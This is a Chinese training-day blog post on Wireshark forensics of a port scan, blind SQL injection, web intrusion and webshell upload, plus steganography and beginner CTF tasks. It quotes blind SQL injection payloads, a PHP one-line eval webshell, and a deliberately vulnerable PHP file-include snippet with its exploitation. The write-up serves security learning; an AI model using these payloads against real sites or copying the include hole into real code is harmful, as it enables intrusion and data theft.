实训记录-周二

最新推荐文章于 2025-08-05 23:58:52 发布

原创最新推荐文章于 2025-08-05 23:58:52 发布 · 606 阅读

7 ·

CC 4.0 BY-SA版权

文章标签：

#安全 #学习方法 #wireshark

Day-2 流量分析实战+隐写

上午-流量分析实战

1 SYN半链接攻击流量分析

打开电线鲨鱼
分析流量包

可见大量SYN半连接端口号都不一样
所以攻击者在扫描网站开放端口
过滤条件:
ip.src == 192.168.177.145 and tcp.flags.syn == 1 and tcp.flags.ack == 1

2 SQL注入攻击流量分析一

过滤条件:
id=1’and if(length(database())=0,1,0)–+
id=1’and if(ascii(substr(database(),7,1))>79,1,0) --+
采用布尔盲注

you are in …

3 SQL注入攻击流量分析二

http and (ip.src192.168.177.1 or ip.dst 192.168.177.145)

id=1’ and if(length(database())=1,sleep(5),0) --+
id=1’ and if((select%20substring(database(),1,1))=“a”,sleep(5),1) --+

更高级的时间盲注

4 Web入侵溯源一

发现一堆
http.response.code == 404
明显是扫后台呢
是 head 请求，对网站进行目录爆破

踪流->http 流,找到↓
admin_name=admin&admin_pwd=密码&submit=%B5%C7%C2%BC&act=do_login
中的admin_pwd字段
攻击者对其进行了爆破

然后发现代码
@eval($_POST['x']);

a 首先，黑客通过目录扫描，获取了后台管理地址。
b 然后通过弱口令爆破，获取到了 admin 账户的密码，登录了后台。
c 在对后台功能进行一番探索之后，找到了 admin/tpl_manage.php 文件可以通过目录遍历查看并修改任意文件的内容。由此通过修改 index.php 的内容，插入了 php 一句话木马。
d 最后，黑客向 index 页面的一句话木马传递 phpinfo() 确认了一句话写入成功。

5 Web入侵溯源二

1、使用 Wireshark 打开 webattack2.pcap 数据包。
2、因为是对 web 攻击进行溯源分析，所以我们只需要关注 http 协议的数据包。所以在显示过滤器中输入 http 过滤出 http 协议的数据包。
搜索条件:
http and ((ip.src==192.168.177.1 and ip.dst==192.168.177.145) or (ip.src==192.168.177.145 and ip.dst==192.168.177.1))
3、通过对数据包的观察，前面部分的数据包为正常访问的数据包。
4、从数据包编号为 1544 的包开始，开始出现 head 请求，以及大量的 404 响应，推测黑客正在对网站进行目录爆破。
5、爆破完成后，流量中出现对 /dede/login.php 的访问记录。因为 dede 为 dedecms 的默认后台地址。此时黑客可能已经获取到了后台路径，且开始尝试登陆。
6、查看 POST 数据包的内容，发现提交内容的用户名为 admin，密码为 123456 等弱口令，猜测黑客此时在进行弱口令测试。
7、随后，出现了 index.php 的访问记录，观察前一个数据包的返回内容，其返回的内容为 JS 跳转，跳转到 index 页面，猜测此时黑客可能已经登录成功。
8、之后黑客访问了 dede/ad_add.php 这个页面，dedecms 在 5.7 版本，这个页面存在 getshell漏洞，黑客应该是想利用此漏洞来进行 getshell。查看黑客此次 POST 提交的内容。发现了一句话木马。可以证实黑客是进行了 getshell 的操作。
9、之后出现了大量的对 ad_js.php 页面的 POST 请求，查看请求的内容，为 php 代码。此时黑客可能已经成功 getshell，使用菜刀工具对 webshell 进行了连接。

下午-流量分析与二进制ctf取证

密码追踪

Wireshark
过滤http或ftp
使用数据流分析即可
好像没啥好说的

数据包文件分析

流量分析找到密文

流量数据隐写分析

藏在图片里

数据包中的线索

按长度排序
找到上传的图片，里面藏了密码
在流量文件里分离出zip加密文件，里面藏了flag

文件分析(隐写)

比较简单了
主要就是flag藏在图片二进制文件里了
然后就是png图片改大小以及base32编码
最后就是爆破一个压缩包

晚上-写了一会ctf的题

大部分都是简单题，基本上会基础操作都能想出来。
有一道题是：

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

存在文件包含漏洞
所以在网址后传参%file=/flag
即可得到flag